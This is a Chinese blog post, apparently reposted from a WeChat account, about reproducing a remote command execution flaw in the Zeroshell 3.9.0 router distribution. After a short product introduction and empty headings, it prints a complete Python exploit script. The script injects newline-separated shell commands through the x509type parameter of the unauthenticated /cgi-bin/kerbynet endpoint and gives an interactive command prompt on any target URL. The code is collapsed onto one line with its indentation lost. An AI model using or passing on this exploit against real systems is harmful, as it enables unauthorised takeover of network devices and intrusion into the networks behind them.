0x00:简介
Zeroshell 是一个微型的linux发行版本，它功能强大，具有强大的router、radius、web门户、防火墙、virtual**、Qos、 DHCP、dns转发等功能，可以用来安装到服务器上为内网提供网络服务，而且安装和使用都很方便，有U盘，Live CD和Flash imgage文件用于安装，可以使用web界面进行设置和管理。想自己部署软路由，又不想编译，找驱动程序，或者别人编译的固件有后门，可以考虑用Zeroshell替代Openwrt/LEDE。
总的来说Zeroshell的特性包括：负载均衡及多网络连接的失效转移，通过3G调制解调器的UMTS/HSDPA连接，用于提供安全认证和无线网络加密密钥自动管理的RADIUS服务器，用于支持网页登录的强制网络门户（商场和酒店等商用场景），以及很多其他内容。
0x01:简介
神秘代码：
0x02:复现截图
0x03:代码
import requestsimport optparseimport timeparser = optparse.OptionParser()parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')options, args = parser.parse_args()if not options.url:print('[+] Specify an url target')print('[+] Example usage: exploit.py -u http://target-uri/')print('[+] Example help usage: exploit.py -h')exit()uri_zeroshell = options.urlsession = requests.Session()def command():try:check = session.get(uri_zeroshell + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'")if check.status_code == 200:flag = Trueprint('[+] ZeroShell 3.9.0 Remote Command Execution')time.sleep(1)print('[+] Success connect to target')time.sleep(1)print('[+] Trying to execute command in ZeroShell OS...n')time.sleep(1)check.raise_for_status()while flag:cmd = raw_input("$ ")payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A" + cmd + "%0A'"uri_vuln = uri_zeroshell + payloadburp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}res = session.get(uri_vuln, headers=burp0_headers, verify=False)print(res.text[:res.text.rindex("<html>") / 2])except requests.exceptions.ConnectionError as err:print('[x] Failed to Connect in: '+uri_zeroshell+' ')print('[x] This host seems to be Down')exit()except requests.exceptions.HTTPError as conn:print('[x] Failed to execute command in: '+uri_zeroshell+' ')print('[x] This host does not appear to be a ZeroShell')exit()command()
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本文始发于微信公众号（洛米唯熊）：Zeroshell 3.9.0 RCE复现
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